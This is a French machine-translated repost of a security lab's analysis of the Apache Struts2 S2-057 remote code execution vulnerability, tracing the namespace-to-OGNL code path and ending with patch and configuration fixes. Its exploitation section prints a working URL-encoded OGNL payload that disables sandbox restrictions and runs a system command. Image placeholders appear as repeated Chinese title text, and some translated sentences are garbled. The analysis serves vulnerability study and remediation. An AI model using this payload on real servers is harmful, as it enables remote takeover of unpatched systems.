Maison  >  Article  >  Opération et maintenance  >  Comment effectuer une analyse de vulnérabilité d'exécution de code à distance Apache Struts2 S2-057

Comment effectuer une analyse de vulnérabilité d'exécution de code à distance Apache Struts2 S2-057

PHPz
PHPzavant
2023-05-15 21:43:041934parcourir

Avant-propos

Le framework Apache Struts est un projet open source basé sur le framework d'application Web de Java Servlets, JavaBeans et JavaServer Pages (JSP) est basé sur le modèle de conception Model-View-Controller (MVC) et peut). être utilisé pour créer une application Web complexe. Il nous permet de décomposer le code de la logique métier, de la logique de contrôle et de la logique de présentation d'une application, la rendant plus réutilisable et maintenable. Le framework Struts fait partie du projet Jakarta et est géré par Apache Software Foundation.

Tianrongxin Alpha Lab vous apportera une analyse de vulnérabilité d'exécution de code à distance Apache Struts2 S2-057~

1 Description de la vulnérabilité

Lorsque struts.mapper.alwaysSelectFullNamespace est défini sur true, et la page à onglet du package et l'absence de. la valeur de l'espace de noms dans la page de balise param du résultat, ou l'utilisation de caractères génériques, peut entraîner le contrôle de l'espace de noms. Finalement, l'espace de noms sera introduit dans l'instruction OGNL pour exécution, ce qui entraînera une vulnérabilité d'exécution de code à distance.

1. Version du système concerné

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

2. 2. Construction de l'environnement

1. Téléchargement : http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip

2. Modifiez le fichier de configuration struts-actionchaining.xml

Il existe de nombreux types de vulnérabilités. Les vecteurs d'attaque incluent :

Action de redirection

Chaînage d'actions

Résultat de publication

En prenant le premier comme exemple, modifiez le contenu du fichier de configuration comme :

3. Détails de la vulnérabilité 如何进行Apache Struts2 S2-057远程代码执行漏洞分析
dans DefaultActionMapper classe Dans la méthode parseNameAndNamespace.

Lorsque AlwaysSelectFullNamespace est défini sur true, la valeur de l'espace de noms est obtenue à partir de l'URL. L'URL est contrôlable, donc l'espace de noms est également contrôlable.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Une fois l'action exécutée, le programme appellera la méthodeexecute() dans la classe ServletActionRedirectResult pour analyser le résultat de la redirection.

Tout d'abord, lorsque l'espace de noms est vide, appelez invocation.getProxy().getNamespace() pour attribuer la valeur à l'espace de noms variable, puis transmettez l'espace de noms variable dans le constructeur ActionMapping.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

Ensuite, ActionMapper.getUriFromActionMapping() réorganise la valeur après ActionMapping, génère une chaîne d'URL (y compris l'espace de noms) et l'attribue à la variable tmplocation.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

Ensuite, la tmplocation avec l'espace de noms est transmise à la méthode setLocation().

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

Cette méthode attribue la valeur tmpLocation à la variable d'emplacement dans la classe StrutsResultSupport.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Ensuite, tracez la méthode super.execute().

Continuez le suivi de super.execute() dans la classe ServletActionResult.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

Dans la méthodeexecute() de la classe StrutsResultSupport, la variable d'emplacement (avec espace de noms) qui vient d'être attribuée est transmise à la méthode conditionalParse().

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

Enfin, l'analyse OGNL de l'espace de noms via TextParseUtil.translateVariables() a entraîné une vulnérabilité d'exécution de code à distance.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析4. Exploitation de la vulnérabilité

1. Visitez l'adresse dont l'url est /${(111+111)}/actionChain1.action.

L'accès déclenche l'expression OGNL, l'url devient /222/register2.action et la vulnérabilité existe.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析2. charge utile :

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d

Cette charge utile s'applique uniquement à la version de la série 2.3.

5. Suggestions de réparation

如何进行Apache Struts2 S2-057远程代码执行漏洞分析1. Patch officiel

La dernière version officielle a été publiée pour corriger cette vulnérabilité. Les utilisateurs concernés doivent effectuer une mise à niveau vers Apache Struts 2.3.35 ou Struts 2.5.17 dès que possible : https. : //struts.apache.org/download.cgi#struts2517.

2. Réparation manuelle

Modifier le fichier de configuration :

Corrigez la valeur de l'espace de noms de la balise package et de la balise param de result, et interdisez l'utilisation de caractères génériques.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer